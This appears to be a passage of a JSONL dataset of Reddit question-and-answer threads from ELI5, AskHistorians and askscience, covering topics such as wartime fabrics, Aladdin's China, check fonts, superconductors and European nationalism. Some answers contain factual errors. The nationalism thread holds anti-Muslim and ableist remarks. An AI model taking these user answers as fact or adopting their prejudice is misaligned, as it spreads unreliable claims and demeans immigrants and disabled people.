{"q_id": "au3h35", "title": "What type of fabric", "selftext": "What type of fabrics were used in 1940s apparel?  Was it mainly wool, or some-other type of fabric? Did the war put any restrictions on fabric or sources of fabric?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/au3h35/what_type_of_fabric/", "answers": {"a_id": ["eh5sv1w"], "score": [3], "text": ["[_URL_3_](_URL_1_) is a  great source for the science of fabrics.  Polyester hadn't been invented yet, so the basis plant, animal fibers were used, but in very, very creative ways.  cotton - Levis, seersucker; rayon, wool, silk, felt, jersey, velvet, and of course, the horribly flammable flannel.\n\nIf you watch the old baseball film of the baseball greats, you'll notice there is not stretch in their uniforms because polyester hadn't been invented yet.  They had no \"stretch\" elastics, etc, which is why they look so baggy.\n\nAnother source is if you watch old movies on [_URL_2_](_URL_0_).  The actresses' wardrobes are great examples of the creativity of these designers.\n\n & #x200B;\n\nedit: there was lots of rationing of cotton and wool, because the first priority was, of course, the military for uniforms, blankets, and first aid."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://TCM.com", "https://vintagedancer.com", "TCM.com", "vintagedancer.com"]]}
{"q_id": "1qlqqx", "title": "how do children all over the world come up with the same games without anyone telling them.", "selftext": "A classic example of this would be 'The lava game'. Most children in completely different parts of the world come up with this game on their own without any external influence.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1qlqqx/how_do_children_all_over_the_world_come_up_with/", "answers": {"a_id": ["cde2nxw", "cde2stx", "cde32gg", "cde33zm", "cde3ogz", "cdebkpt", "cdeo12g", "cdeofgf"], "score": [10, 6, 2, 11, 17, 2, 2, 2], "text": ["I have to be honest, never played the lava game as a kid.", "Communication and globalization. Our parents/aunts/uncles/cousins or our friends parents/aunts/uncles/cousins may have played those games at a young age and passed it down. I learned the \"Sweet and Sour\" car game from my friend's aunt. You know, the one where you wave at people in other cars and if they wave back, they're sweet, if they don't, they're sour. His aunt is from Connecticut and I grew up in California.", "The \"Hundredth Monkey\" effect.  Fascinating theory _URL_0_", "I would think it's because humans are all pretty similar, so when humans at a young age (if they're older they have different experiences, but would still probably have similar responses if they played more games like that) are given the same things to play with, they'll try to find out what to do with that.\n\nWith your floor example, everyone has floors, and it's easy to walk only on floors. So, when thinking of a game, people try to have fun by avoiding floors.", "Yeah no one ever taught me to race raindrops down the window of the car when I was a kid but my friends did it too. ", "The reason you're getting a lack of answers is because its not a very well studied area or if there is research out theres its not very easily accessible.\n\nThere's a body at work called childrens street culture _URL_0_ that talks about culture being passed down from one generation of children to the next, which suggests invented games could be passed down from one generation to the next, such as an 8 year old passing down a game her and her friends played to a 6 year old.\n\nBut the body of work also talks about sort of urban legends, e.g that old woman on my street is pretty scary she must be a witch.\n\nThe other issue is childrens street culture doesn't appear to account for adult interaction which is problematic because many of the games children play are taught and supervised by a parent or a teacher.\n\nThose types of games have formalised rules that appear to have developed over centuries, for example its suggested Roman children played Hopscotch but the earliest recording we have of the game  English-speaking world date back to the late 17th century in a manuscript Book of Games compiled between 1635 and 1672 by Francis Willughby.\n\nIf the game had been invented in the 17th century it would explain how these games appear all over the english speaking world, because immigrants bought it with them.\n\nThe problem with that it doesnt explain the existence of localised versions from places where the British Empire didnt go, e.g In Brazil, Hopscotch is called Amarelinha.  \n\n**tl;dr We have no idea where the games come from, we know many of these games are extremely old, possibly predating our earliest recordings of them suggesting they are passed down from generation to generation but were also aware of similar games existing in cultures that appear to have had very little interaction.**", "How do people around the interwebs keep asking [the same question](_URL_0_)", "The short version is \"Great minds think alike.\" It's not just children either-- tons of important ideas came to several people independently. Calculus is a notable example. Once all the pieces are in place (for example, floors and furniture exist) it's only a matter of time before someone puts them together (a game where you can touch the furniture but not the floor)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.youtube.com/watch?v=Moy6tz6Ubps"], [], [], ["http://en.wikipedia.org/wiki/Children's_street_culture"], ["http://www.reddit.com/r/explainlikeimfive/comments/1pesz6/eli5_how_did_so_many_children_around_the_world/"], []]}
{"q_id": "1aroq3", "title": "the recent addition of 80 million years to the age of the universe.", "selftext": "[This](_URL_0_) article from /r/science describes a recent finding which suggests the universe is 80 million years older than previously thought.  It explains that the Planck Space Telescope updated the cosmic background radiation by measuring the temperature variations in space, but how does that equate to the age of the universe and where did the extra 80 million years come from? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1aroq3/eli5_the_recent_addition_of_80_million_years_to/", "answers": {"a_id": ["c904ghy"], "score": [19], "text": ["I think it is unfair to claim that scientists found an extra 80 million years, what they did was refine predictions based on more sensitive data. Using the previous set of measurements of the background radiation the prediction for the age of the Universe was 13.6 billion - 13.8 billion years, the newer, more sensitive calculations place the actual measurement closer to the 13.8 billion year mark. \n\nIt would be like using a ruler that only had 1 foot increments on it and getting an approximate answer, and then later using a more accurate ruler with markings for centimeters... it would be unfair to ask where the extra length came from if all that happened was a more accurate measurement took place."]}, "title_urls": [], "selftext_urls": ["http://www.washingtonpost.com/world/europe/telescope-that-sees-big-bangs-afterglow-sees-older-universe-in-glimpse-of-first-split-second/2013/03/21/ada16076-920e-11e2-9173-7f87cda73b49_story.html"], "answers_urls": [[]]}
{"q_id": "25504t", "title": "in a motorcycle transmission, why is neutral almost always between 1st and 2nd gear?", "selftext": "and why isn't it before 1st, wouldn't that make more sense?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/25504t/eli5in_a_motorcycle_transmission_why_is_neutral/", "answers": {"a_id": ["chdrdqy", "chdrk7b", "chdrwj1", "che2yxy"], "score": [34, 14, 6, 3], "text": ["So that when you're emergency braking and shift down (down, down, down, down, down) you end up in 1st, rather than neutral.  This way, once you're done braking and look behind you to see some guy in a truck that may not be able to stop as fast as you, you can go (rather than trying to shift into first before taking off).", "It's less about why is neutral where it is and more about why first is where it is. The idea is to make first gear as easy as possible to find since first gear is very useful. If you're rolling up to the lights, you have the clutch in and the lights turn green this arrangement ensures you can be 100% sure when you release the clutch that you get 1st gear and not neutral so you can fang it and impress the ladies instead of falling over.  \n  \nSince we've committed to putting 1st where numerically neutral belongs, where does neutral now go? We want it close to first so up the top is dumb and why go 2nd N 3rd when you can go 1st N 2nd? So when motorcycle gearing was standerdised, this is was the result.", "It's to make you look stupid for doing lazy-ass 1st to almost-2nd shifts.", "First gear puts the most torque on the transmission shaft. The 1-n-2-3-4 puts the gear at one end of the shaft resulting in less damaging stress on the shaft. That's a theory anyway. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "9zy1x6", "title": "The Middle Eastern folktale Aladdin was actually set in China, albeit a very Arabian version of China with viziers and djinns. Does this story reflect what the Middle East believed China to be like? How much of Chines culture was known to them?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9zy1x6/the_middle_eastern_folktale_aladdin_was_actually/", "answers": {"a_id": ["eadmlpv", "eadte8u"], "score": [1032, 63], "text": ["Well, medieval travel writers knew that the Chinese used toilet paper.\n\nBut I'm getting ahead of myself here.\n\n >  There was, in days of yore and in ages and times long gone before, a powerful King among the Kings of China...He was wealthy as he was powerful, but he had grown old without being blessed with a son...At last, he sought the intercession of the Prophet (whom Allah bless and keep!) with the Most High and implored Him, by the glory of His Prophets and Saints and Martyrs...that he would grant him a son.\n\n >  *[it works]*\n\n >  He committed his boy to...the harim till he reached the age of seven. Then he ...gathered together the Olema (*ulema*) and philosophers and doctors of law and religion, from all countries. \n\n >  *-from \"The Craft and Malice of Women,\" Burton trans.*\n\n\"'Al\u0101' ad-D\u012bn and the Wonderful Lamp\" is kind of an awkward text to work with. The manuscript tradition (...traditions) of the *1001 Nights* is a mess already--our earliest notions of the text are only 1000 nights, for starters, and no surviving copy gets close to having 1001 tales. But probably the most famous of the tales even before Disney has special problems, namely, it isn't actually part of that medieval manuscript tradition at all. The way medieval texts including/especially *1001 Nights* worked, that absolutely doesn't mean it's not just as deeply rooted as others. But when a story first shows up in the 17th/18th century as Europeans are getting their hands on the text, there's room for caution.\n\nFortunately, tales like the frame story \"The Craft and Malice of Women,\" which has an alternate title but why would you ever use it, serve as a fine substitute. The frame and some of its internal tales trace back through the Egyptian manuscript tradition, so we're good here.\n\nI dumped a block quote on you at the beginning so you could situate yourself: we've got a \"King of the Kings\" of China (a title that medieval Arabic geographers use when talking about a land they're a bit more familiar with, Persia), an *ulema* or class of Muslim scholars, astrologers, philosophers, religious leaders, and--oh yeah--Islam. In other words, we're dealing with the trappings of medieval Islamic culture in this text, too.\n\nBut, well...this doesn't exactly coincide with what merchant, diplomats, and ethnographers are writing about China just about the same time people start writing down *1001 Nights* collections (or at least, ones that survive). For starters:\n\n >   I do not know of a single member of [China or India] who is a Muslim, and Arabic is not spoken.\n\nOur ninth-century informant adopted by 10th century author Ab\u016b Zayd al-\u1e24asan al-S\u012br\u0101f\u012b has more to say comparing the two lands:\n\n >  India is the land of medicine and of philosophers; the Chinese also have medical knowledge. Most of their medicine involves cauterization. In addition, they have a knowledge of astronomy and astrology, although this is more widespread in India.\n\nJust from the *beginning* of the tale, then, it's clear that *The Craft and Malice of Women* is set in a fantastical China, not the actual one. The examples continue, like houses being made of stucco instead of wood. We'll return to the fantasy in a bit, because as promised: toilet paper.\n\nAb\u016b Zayd and whatever earlier accounts he's drawing on for the first book of his text (he probably doesn't know for sure and it may well have multiple sources; a later author attributes excerpts from it to a merchant called Sulayman) offer a surprisingly rich view of early medieval China. In the beginning of book two, in fact, Ab\u016b Zayd recounts a long history of a recent rebellion! But it's especially fascinating to see what details of Chinese culture the geographer-ethnographers and their sources emphasize.\n\n >  The Chinese are unhygienic, and they do not wash their backsides with water after defecating but merely wipe themselves with paper. \n\nYeah, like that one.\n\nThroughout the text, comparisons to Arab culture or other known cultures help the original readers understand China and help us understand why Ab\u016b Zayd et al. emphasize particular details.\n\n >  Their staple food is rice. They often cook a sauce to go with it, which they\npour on the rice before eating it. Their ruling classes, however, eat wheat\nbread and the \ufb02esh of all sorts of animals, including pigs and other such\ncreatures. \n\nEating all meats is a big deal to the Muslim observer. Elsewhere, he compares Chinese religious practices to Zoroastrians. This is a good remind not to take everything at face value, though. Anna Akasoy has shown that \"Zoroastrianism\" (a twisted idea thereof) was a common framework through which Muslim ethnographers sought to understand foreign religions in, for example, West Africa.\n\nGiven the consternation we see on AskHistorians about medieval Muslims and alcohol, this is a particularly interesting observation:\n\n >  Their drink is a wine made from rice. Grape wine is not to\nbe found in their land, and it is never imported\u2014indeed, they do not know of it and do not drink it. \n\nIt looks like our author is quite familiar with wine made from grapes!\n\nWe also learn that the Chinese tax foreign imports at a 30% rate, have a fiscal bureaucracy staffed by eunuchs, and place an enormous premium on reading and writing. I'll include another passage that's a popular interest topic on AskHistorians: a sort of premodern passport:\n\n >  Anyone wanting to travel from one part of China to another obtains two documents.\nThe document from the ruler is a permit for the road, made out in the name\nof the traveler and those accompanying him, and stating his age and his\ncompanions\u2019 ages, and the tribe from which he comes...The second document concerns the traveler\u2019s money and any goods he may have. \n\n >  The reason for this\nprocedure is that there are guardposts on the road where they examine both\ndocuments, and, when a traveler arrives at one, they write, \"So-and-so, son\nof So-and-so, of Such-and-such an origin, arrived at our guardpost on the\nnth day of the nth month of the nth year, accompanied by So-and-so.\" This\nis in order that none of the traveler\u2019s money or goods should go missing.\n\nI don't have to tell you not to take all this as surah truth about early medieval China. In most cases we're dealing with multiple layers of transmission, and a culture where repeating earlier stories was as good as firsthand observation/often treated as firsthand observation. Nevertheless, modern scholars generally consider the fact-checkable points somewhat reliable--at least, much more so than contemporary accounts like *The Wonders of India*, a fascinating collection of sailors' stories in which basically everyone gets shipwrecked on a island of Amazons or cannibals.\n\nI've already mentioned the difficult heritage of this text. It survives in one damanged manuscript copy today. But we know that whoever wrote it in the 9th century, it was read and copied in the 10th by Ab\u016b Zayd and by the Persian scholar Ibn\nal-Faq\u012bh. In other words, in the Middle Ages, this text got around a little!\n\nBut then we have to balance the scholars versus the storytellers. When we talk about \"medieval Muslims' knowledge of China,\" we shouldn't just think about the best-connected. While obviously also not everyone was reading *1001 Nights* itself, the ubiquity of many of its stories around the Mediterranean world suggests a much more common currency for them than for Ab\u016b Zayd.\n\nAnd don't let the insertion of Islam, science, kings, and harems--perfectly ordinary elements of life to medieval Muslims!--fool you. The China of the *1001 Nights* is a China \"days of yore and in ages and times long gone before\"--it's stocked full of the magic that, even if not the *specific* story of Ala ad-Din, the same air of exoticism and, dare I say it, Orientalism.", "Didn\u2019t the Chinese Empires post-Tang control large amounts of Muslim territory? How do we know the story didn\u2019t just take place in that region?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "du2x2g", "title": "When European explorers such as the Portuguese and British landed in Kerala, were they surprised to learn the local populace was already largely following St. Thomas Christianity?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/du2x2g/when_european_explorers_such_as_the_portuguese/", "answers": {"a_id": ["f72q1hg"], "score": [8], "text": ["Hi, you may find my old post on *[What was the reaction of the Portuguese when they found out that there were Christians in India that used Syriac as liturgical language and claimed that were founded by Saint Thomas, the Apostle?](_URL_0_)* very relevant"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/b33rt4/what_was_the_reaction_of_the_portuguese_when_they/eiy3cyu/"]]}
{"q_id": "4s0dgz", "title": "why electronics stop working at low temperatures assuming it's not running on batteries?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4s0dgz/eli5_why_electronics_stop_working_at_low/", "answers": {"a_id": ["d55sept"], "score": [18], "text": ["I have a College Diploma in Electronics Engineering so I guess this is my field.\n\nThe simple answer is that the electronic components behave differently when they are outside of their acceptable temperature ranges.\n\nFor a more complex answer you need to realize that a typical electronic circuit is mainly made up of wires, resistors, capacitors, transistors, inductors and these all have ratings that need to be carefully balanced.\n\nThe electrical resistance across many materials changes as temperature changes.  For example you may have heard of super conductors, which are super cooled.  That's because the electricity flows across metal easier when it's colder.\n\nSemi-Conductors stop being semi-conductors outside of acceptable ranges.  So a transistor won't do it's job.\n\nSo basically all the pieces of the electronics stop operating reliably at different temperatures.  Some change their ratings others change behavior entirely.\n\nBits and parts of the circuit start to fail as a result.\n\nAlso /u/Moheron is wrong and doesn't know what he's talking about.\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "43f7qn", "title": "what exactly is happening (psychologically, physiologically) when someone emotionally shuts down?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/43f7qn/eli5_what_exactly_is_happening_psychologically/", "answers": {"a_id": ["czhyfqc", "czhyift", "czhywc4", "czhz0w6", "czhzbi6"], "score": [9, 12, 58, 58, 3], "text": ["I work in wilderness therapy and have seen this quite a few times. I don't know the physiology but it can seem almost like a sleep state. The kid can go totally limp, eyes closed, slumped over. ", "I don't know but sometimes when someone brings something up that I don't want to talk about, it's like my mind gets wiped and I suddenly have no idea what was being discussed. I'll be about to reply when I realize that all the words I prepared have faded into oblivion and I sit there looking dumb. It's like the MIB memory neuralyzer.", "I usually end up doing this (not on purpose) is really big fights. It's like my mind in saying \"ok, we're at a point where we are not gonna go throught that fight tonight, it's not worth continuing\" and then it shuts down. I don't hear the arguments anymore, I don't talk either. I become very aware of my surroundings (temperature, people walking in the street etc). I feel like a big shell is surrounding me and I feel absolutely no emotions. No pain, no sadness, nothing. I'm concentrated on finding a way to escape. ", "Physiologically, the [fight-or-flight](_URL_0_) response kicks in and their body's nervous system releases a cocktail of hormones which alter bodily functions (including thought) in a variety of ways.\n\nPsychologically, the person may experience [disassociation](_URL_1_) when under extreme duress - basically higher-level thinking shuts down in one or more ways (e.g. ignoring the reality or severity of the situation, forgetting what's happening, losing a sense of identity, and/or feeling as though one is experiencing multiple different streams of consciousness simultaneously).\n\n*How* an individual reacts to a situation (whether they experience a fight-or-flight response or not, and the extent to which different physiological and psychological effects occur) seems to have more to do with psychological conditioning than physiology, though it's also common for people to \"shut down\" (or experience high anxiety) as a result of an underlying physical conditional (e.g. [medical mimics](_URL_2_)).", "You become dissociated, that's what that psychological state is called. (Sorry on mobile, or I'd link that to Wikipedia for you.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Fight-or-flight_response", "https://en.wikipedia.org/wiki/Dissociation_%28psychology%29", "http://www.clinicaladvisor.com/features/separating-anxiety-from-physical-illness/article/117767/"], []]}
{"q_id": "8jwtkv", "title": "why do some hear \"laurel\" while others hear \"yanny\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8jwtkv/eli5_why_do_some_hear_laurel_while_others_hear/", "answers": {"a_id": ["dz328tt", "dz32arz", "dz32ku2", "dz33789", "dz33ji3"], "score": [11, 5, 2, 2, 2], "text": ["It has two sounds added together.  One is high frequencies and one is low frequencies.\n\nIf you listen with a piece of good audio equipment you can turn the equalizer knobs and hear the sounds separately.  But, everybody on Twitter is listening with their phone.  Some phones, particularly the iPhone have resonance at the low frequency, it makes them sound like they have more bass without actually needing a bigger resonant cavity.  Other phones clip the higher frequencies because they have tinny speakers.  Or you might be using headphones that kill all the bass.  Like the dress, this all depends on people using systems that can't faithfully reproduce the signal provided to them.", "It's both, they're stacked on top of eachother. Some hear one, some hear the other, but it's not either, it's both.", "Sound is made up of waves. These waves travel all on top of each other at roughly the same speed but different patterns. One of those patterns is the number of times the wave cycles per second - the frequency.\n\nLaurel can be made to sound like Yanny if you exaggerate certain frequencies over others. Just naturally some people are more attuned either biologically or based on the context in which they are hearing the sound clip to pick up on certain frequencies. For a biological example as you age higher frequencies are harder to hear and so the same sound might appear different at different points in your life. \n\nCheck out this cool tool from the New York Times to play around with frequencies in laurel/Yanny.\n\n_URL_0_\n", "They played this on the radio this morning and they did the different frequencies to test it. \nWhen it was regular I heard Laurel....at low frequency  I heard Yanny.\nBut funny thing is they did another frequency and I head 'harry!\" \nThe brain is one trippy machine!", "I actually don't hear either. I *think* the reason for that may be that I have an interest in linguistics, and so am used to listening out for sounds in other languages that don't exist in English. What I perceive is more like \"yeah-ree\" or \"yeah-lee\". For those who can read the International Phonetic Alphabet, it sounds to me like [\u02c8\u029d\u025b\u02d0\u027ei], but I'm going to guess that YMMV considerably.\n\nI don't know how the sound file was actually created, but it's clearly not a natural human voice. So part of the answer may, I suspect, lie in the fact what you're hearing is sounds that no human mouth would ever produce. But they sound similar *enough* to human speech sounds that your brain tries to figure out what those sounds are.\n\nAn interesting observation is that some people have said if they turn the bass up they hear one word, but if they turn the treble up they hear the other. Others say the word they hear changes depending on whether they listen on speaker or with headphones.\n\nMy guess goes along these lines. The sounds that make up human speech are a complex mix of different frequencies. To make different vowel sounds, we change the shape of the mouth (by opening the jaw and moving the tongue and lips) so that certain frequencies are heard better than others. To make consonants, we interrupt or divert the airflow in various different ways.\n\nThe sound you're hearing is, I reckon, an unnatural mix of these frequencies -- but not a single sustained note: it changes. Your brain then uses its knowledge of the rules of English language pronunciation: what vowel and consonant sounds are used in English, and how they can be combined to make meaningful words. For example, at the beginning of a word, we can put \"s\" and \"k\" in that order (as in the word \"skit\"), but not in the reverse order (\"ksit\" is unpronounceable in English, but is no problem for a speaker of Russian).\n\nSo from the complicated mess of possible sounds, your brain picks those that it thinks are most likely. \"Laurel\" is an actual word; \"Yanny\" isn't, but the sounds are arranged in a way that for English is perfectly valid.\n\nThis idea would, I think, make sense of why boosting either the bass or the treble makes a difference, and why switching from speaker to earphone also makes a difference.\n\nIt would be interesting to see what somebody who speaks no English makes of this. I speak a couple of languages, and probably as a result my brain is more comfortable with the idea that it might not be a language I know, which is why to me it sounds like gibberish."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.nytimes.com/interactive/2018/05/16/upshot/audio-clip-yanny-laurel-debate.html"], [], []]}
{"q_id": "6a6v48", "title": "when we bury a dead person, how do worms / insects get to it if the casket is closed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6a6v48/eli5_when_we_bury_a_dead_person_how_do_worms/", "answers": {"a_id": ["dhc4ttq", "dhctlfz"], "score": [6, 5], "text": ["They don't. Typically you decomopose first from the bacteria that are in you or already inside the casket once it's closed. If it's a wooden casket, it may eventually decompose itself and then worms and other critters can get in. If it's metal, then worms won't get in for a long time (until the metal eventually decomposes).", "Former funeral director here. \n\nMost modern caskets have gasket seals on them-- this is sort of like a rubber, channelized seal that prevents air and moisture from getting inside the casket. This isn't including the outer burial container, which goes in the grave itself around the casket.\n\nThat being said, over time, especially depending on the weather of the region, the seals will fail and rainwater will flood the casket-- carrying with it bacteria, dirt, etc etc. \n\nHonestly, even with the seals, whether or not a leak occurs is up in the air. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "25rozz", "title": "how the paint on this lamborghini is creating this effect?", "selftext": "_URL_0_\n\nSomething called \"Prismatic\" paint", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/25rozz/eli5_how_the_paint_on_this_lamborghini_is/", "answers": {"a_id": ["chk3j3e"], "score": [9], "text": ["Exactly that, although I bet it's more a prismatic wrap than paint. \n\nThere is a reflective coating that goes on first, then a clearish midcoat that contains the little plastic prisms are added on top of that, and then a final clearcoat on top.  So when the light goes into the prisms, it's broken up into the different wavelengths of light, and then reflected, and back out the prisms.  Or the light makes it through and then is bounced out, and goes through the prisms.  Or even goes through prisms twice, or maybe doesn't hit any of 'em.\n\nIn any event, all the prisms make the light break up and do funny things and voila.  Hypnopaint.\n\nIt's not terribly different from a [Mystic](_URL_0_#q=mystic+cobra & safe=active & tbm=isch) or [Mystichrome](_URL_0_) Mustang Cobra, the difference being a black basecoat instead of a reflective chrome or silver one."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/7qOyzIP.gif"], "answers_urls": [["https://www.google.com/search?q=mystichrome+cobra&amp;safe=active&amp;source=lnms&amp;tbm=isch&amp;sa=X&amp;ei=KOV2U8D4BcGSqgaB2oGoCA&amp;ved=0CAgQ_AUoAQ&amp;biw=944&amp;bih=885", "https://www.google.com/search?q=mystichrome+cobra&amp;safe=active&amp;source=lnms&amp;tbm=isch&amp;sa=X&amp;ei=KOV2U8D4BcGSqgaB2oGoCA&amp;ved=0CAgQ_AUoAQ&amp;biw=944&amp;bih=885#q=mystic+cobra&amp;safe=active&amp;tbm=isch"]]}
{"q_id": "39svv2", "title": "Could you create a current in a wire of exactly zero resistance?", "selftext": "If I=V/R, but the resistance is zero, then current and voltage must also be zero. Is creating a current in a wire of zero resistance impossible, or is this just a fault of the equation that would never be needed since the situation cannot really exist.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/39svv2/could_you_create_a_current_in_a_wire_of_exactly/", "answers": {"a_id": ["cs653l4"], "score": [41], "text": ["You can have materials that have exactly zero resistance under certain conditions. Most notably, such a situation arises for [superconductors](_URL_4_) below a certain critical temperature. Note that you can still have electrical currents in such a material. The relationship you listed, [Ohm's law](_URL_0_) simply states that under certain conditions, the [voltage *drop*](_URL_1_) (*V*, a measure of the energy lost per unit charge) will be proportional to the current applied (*I*) and an effective proportionality constant called the resistance (*R*), giving *V*=*I**R*. The fact that the resistance of superconductors is zero simply means that no such voltage drop would take place (by definition) when you pass a current through the superconductor. In other words, the fact that the resistance is equal to zero doesn't mean that current can't flow, but rather that current can flow with no associated energy loss.\n\nIn fact, superconductors allow for persistent electrical currents (i.e. currents that do not decay with time) to propagate, again because there is no resistance to stop this flow of electrons. This actually gives rise to some amazing properties. For instance, if you bring a semiconductor close to a magnet, this will [induce](_URL_2_) electric currents in the superconductor. The currents in turn will produce their own magnetic field [as described by the Biot-Savart Law](_URL_5_), which will cancel out the applied magnetic field within the semiconductor. This effect allows the superconductor to levitate on top of a magnet indefinitely [as shown in this cool demo.](_URL_3_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/?title=Ohm%27s_law", "https://en.wikipedia.org/wiki/Voltage_drop", "https://en.wikipedia.org/?title=Electromagnetic_induction", "https://youtu.be/Ws6AAhTw7RA?t=10s", "https://en.wikipedia.org/wiki/Superconductivity", "https://en.wikipedia.org/wiki/Biot%E2%80%93Savart_law"]]}
{"q_id": "338tnm", "title": "why are the numbers at the bottom of a check written in such a ridiculous font?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/338tnm/eli5_why_are_the_numbers_at_the_bottom_of_a_check/", "answers": {"a_id": ["cqil07e", "cqilx38", "cqilx6t"], "score": [6, 17, 3], "text": ["They are meant to be both hard to copy and easy to read by a computerized scanner.\n\nA common method of check fraud is to alter the numbers at the bottom of the check so that they point to a different account. ", "It's magnetic ink, and the varying fat vs. skinny parts of each digit help the relatively primitive scanning machines identify it more easily. It's not an optical scanner like we'd use today, it senses the amount and position of ink on the check and translates it to the routing number, account number, and check number for easier processing.   See MICR encoding for more info:  _URL_0_", "It's designed back in the 1960s to be easily read by computers. Those numbers are actually printed on magnetic ink and are read sort of like how an old cassette tape is played past a magnet. Today they are also read using optical character recognition, which is much more powerful than the magnetic system, not needing the funky looking characters, but the font remains for historical/legacy reasons. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Magnetic_ink_character_recognition"], []]}
{"q_id": "4c381h", "title": "why are people addicted to drama, both in real life and internet?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4c381h/eli5_why_are_people_addicted_to_drama_both_in/", "answers": {"a_id": ["d1eo020", "d1eveq5"], "score": [4, 2], "text": ["CGP Grey tackled this a while back w/ great result: _URL_0_\n\n", "People are conditioned to seek what they experienced in childhood. If there was a lot of instability in the home, including fighting, emotional or physical abuse, turmoil, etc., then they will expect that in their adult life and their brain chemistry will be trained to respond to that. In some ways, this forces us to repeat the patterns and behaviors of our parents and caretakers, because in evolutionary terms, whatever behaviors that led them to reproduce, will be what leads us to reproduce."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=rE3j_RHkqJc"], []]}
{"q_id": "2guj6g", "title": "how come fascism is growing in europe when europe's bloody history have taught us fascism is really bad?", "selftext": "In the shadow of recent Swedish government elections where the neo-fascist party got almost 13% of the votes and this seems to be a trend throughout all of Europe. I'm curious, why this is happening? Anyone have any theories or hard facts?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2guj6g/eli5_how_come_fascism_is_growing_in_europe_when/", "answers": {"a_id": ["ckmmpzw", "ckmmvx7", "ckmo852", "ckmoe5r", "ckmortg", "ckmqimy", "ckms1f4", "ckmsure", "ckmtx66", "ckmuhck", "ckmuo9t", "ckmxmdd", "ckmyq48"], "score": [4, 11, 17, 2, 26, 2, 6, 5, 3, 8, 3, 4, 4], "text": ["I assume the economy is a big part of it. Bad economies breed political extremism, usually communism and fascism. The original fascists, after all, came to power during the Great Depression.", "You need to look up what the word fascism means.", "I live in Finland and constantly follow the inside politics of other Nordic countries. There are some idiots in the Sweden Democrats party, but that's the case in almost every political party. Right?\n\nSweden Democrats were a lot more openly nationalistic and anti-immigration profiled in the nineties than they are now. In a way that could even be called \"fascistic\".\n\nNowadays Sweden Democrats are mostly much like the Finns Party in Finland. Nationalistic but with mostly presentable ideas. Some idiots do ofc fit in in the Finns Party too. [One of those asshats in Finns Party](_URL_0_).\n\nedit: grammar", "Mulitcultralism.  Most of the hate was imported.", "Is it really so difficult to understand? There is no neo-fascist party in Sweden. They are nationalists, meaning that they don't want open borders and they don't want the European Union. In other words, they want Sweden to be an independent sovereign state. The reason that they are growing is because the problems of immigration are becoming more and more surfaced, and the government has no plans to change anything. It is not because of an economic recession, or because of \"fear\". Highly educated and well-off people are voting for this party, and the party is most popular where there are a lot of immigrants. Not everybody wants multi-culturalism.", "not everyone remembers things from the past, not everyone cares.\n\npoor education teaching us how people died but not why, retarded people not thinking for themself and listening to assholes who discovered a quick profit from organizing a group of people against another one.\n\n\nnow, attacking the jews is still a bit sensitive so they replace jew with unemployed.", "There are probably many reasons, a few that I can come up with that may or may not be bullet proof (i am no expert, just a european)\n\n1. Failure in schools to teach kids about history and related topics\n\n2. Economic troubles\n\n3. The blessing and a curse argument about internet enabling people to gather around an idea efficiently. \n\n4. Political parties fear to be bundled with racist parties and thus creating a situation where the swedish democrats etc stand alone in an issue, causing everyone who care a bit about that issue to consider voting for them. I think a lot of people would vote for the swedish right wing parties if they just would be a bit more populistic and take the route of \"we know there is a problem, and we need to fix it\". This can be shown in that most of the swedish democrats new voters came from the right wing parties.\n\nThere are probably better explanations out there though.", "Fascism is a broad label and as a result can be used for pretty much anything on the right of center in Europe. While some like golden dawn are, the majority just want checks and balances for immigration, accountability for other member nations, etc", "Nationalism is kind of like a group of people's last struggle. If they're not doing too well economically or politically, the last thing that they can cling onto is there nationality/ethnicity. Nobody can take that away from them. Turns out this makes for a hell of a strong motivation/unifying factor. Examples would be rise in neo-fascist groups in Germany/Hungary in the last decade as a result of their bad economy. Even Arizona's fierce anti-immigration policies against Mexicans, (We are 'Muricans!).\n\nAnother point to consider is that the generation that actually experienced the bloody war is slowly dying out. The younger generations can read about it in history class or books, but they're still dealing with events that took place over 60 years ago. There's inevitably going to be a reality gap.", "Make it real simple for you. Too many Muslim immigrants.", "I'll chime in on a theory I have, but keep in mind 